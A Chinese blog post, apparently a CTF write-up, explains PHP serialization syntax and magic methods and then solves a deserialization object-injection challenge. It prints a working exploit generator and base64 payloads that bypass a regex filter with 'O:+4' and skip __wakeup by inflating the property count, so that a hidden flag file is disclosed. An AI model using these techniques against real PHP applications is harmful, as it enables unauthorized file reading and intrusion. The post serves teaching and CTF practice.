什么是PHP序列化

php程序为了保存和转储对象,提供了序列化的方法,php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。

php序列化的函数为serialize。反序列化的函数为unserialize。

<?php
    $a = array("l"=>"lzy","y"=>"yzq","z"=>"zwl");
    $b = serialize($a);
    echo $b;

>>> a:3:{s:1:"l";s:3:"lzy";s:1:"y";s:3:"yzq";s:1:"z";s:3:"zwl";}

这里a:3代表是一个数组(array),这个数组有三个元素

s:1:"l";s:3:"lzy";,这样代表的是一个数组

s:1:"l";中的s说明是字符串(string),1代表key的字符长度,为"l"

s:3:"lzy";中的s说明是字符串,3代表的是内容的字符长度,为"lzy"

<?php

class Test{
         public$a = 'ThisA';
         protected$b = 'ThisB';
         private$c = 'ThisC';
         publicfunction test1(){
                  return'this is test1 ';
         }
}

$test = new Test();
echo serialize($test);

>>> O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"%00*%00b";s:5:"ThisB";s:7:"%00Test%00c";s:5:"ThisC";}
#这里面的`%00`都是我加上去的,复制过来是没有的

img

前面的O是对象,:4表示该对象名称有4个字符;:Test表示改对象的名称;:3表示改对象里有3个成员。

第一个变量和前面提到的数组的差不多的

第二个变量和第一个变量有所不同,多了个乱码和 * 号。这是因为第一个变量a是public属性,而第二个变量b是protected属性,php为了区别这些属性所以进行了一些修饰。这个乱码其实是 %00(url编码,hex也就是0×00)。表示的是NULL。所以protected属性的表示方式是在变量名前加个%00*%00

第三个变量的属性是private。表示方式是在变量名前加上%00类名%00

反序列化就是把序列化后的变量变回来,这里就先不展开来讲了

魔术方法

大概了解了php序列化和序列化的过程,那么就来介绍一下相关的魔术方法。

__construct 当一个对象创建时被调用

__destruct 当一个对象销毁时被调用

__toString 当一个对象被当作一个字符串使用 #需要返回一个字符串

__sleep 在对象被序列化之前运行 #需要返回一个数组

__wakeup 在对象被反序列化之后被调用

这也没什么好讲的,需要知道什么条件下会被执行就好了,在漏洞等其他方面后面再说

反序列化对象注入漏洞

这里我们以一道CTF题目为例讲一下吧

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

这里创造了一个对象,有一个私有变量$file=index.php,然后有三个魔术方法

下面是一个条件语句,如果var(GET)存在则对他进行base64解码,然后对他进行正则过滤,如果没被过滤则进行反序列化

这里的正则是判断是否有O:数字或者C:数字,不区分大小


查询资料,发现这个__destruct,是可以进行利用的

function __destruct() { echo @highlight_file($this->file, true);

我们可以尝试利用这个魔术变量来显示flag.php(源码有告诉我们flag在flag.php)

我们前面提到当一个对象被销毁的时候会调用这个魔术变量,那我们是不是可以构造一个对象,让$file为flag.php,然后让他以高亮的形式返回呢?


想法不错,但是这里有一个__wakeup,当我们unserialize($var);的时候会调用它,他把$file都变成了index.php,那我们就得想办法绕过,这里就可以利用__wakeup()执行漏洞了

__wakeup()执行漏洞(一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数) 适用版本: PHP5 < 5.6.25 或者PHP7 < 7.0.10


有了思路,接下来我们发现我们需要绕过正则匹配,我们在O:后加上一个+就可以绕过这个正则了

还需要注意的是这里对var进行了base64解码,所以我们需要对他var进行base64编码


接下来可以写一个php来输出payload

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
    $A = new Demo('fl4g.php');
    $C = serialize($A);
    //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
    $C = str_replace(':1:', ':2:',$C);//绕过wakeup
    var_dump($C);
    //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
    var_dump(base64_encode($C));
    //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>

解释一下这个payload吧

先新建一个对象,会调用public function __construct($file) { $this->file = $file; },这样this.file就成了fl4g.php,对他进行序列化,绕过正则和wakeup,得到没有base64的payload,然后对他进行base64转码,得到最终payload


我这里一开始是用半手工构造的

<?php 
class Demo { 
    private $file = 'index.php';
}
    $a = new Demo;
    echo serialize($a);

得到O:4:"Demo":1:{s:10:"%00Demo%00file";s:9:"index.php";},修改元素个数为2,改index.php为flag.php

然后再base64编码

Tzo0OiJEZW1vIjoyOntzOjEwOiIlMDBEZW1vJTAwZmlsZSI7czo5OiJmbDRnLnBocCI7fQ==

需要注意的是手工注入需要注意private,和protected需要增添%00

最好还是直接构造php来输出payload吧…

挖坑

接下来再找一点题目来试试吧,以后补上

参考文章

https://www.freebuf.com/articles/web/167721.html

https://www.freebuf.com/articles/web/209975.html

说点什么
评论之后转圈圈也不用管,要批准之后才能显示,谢谢
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...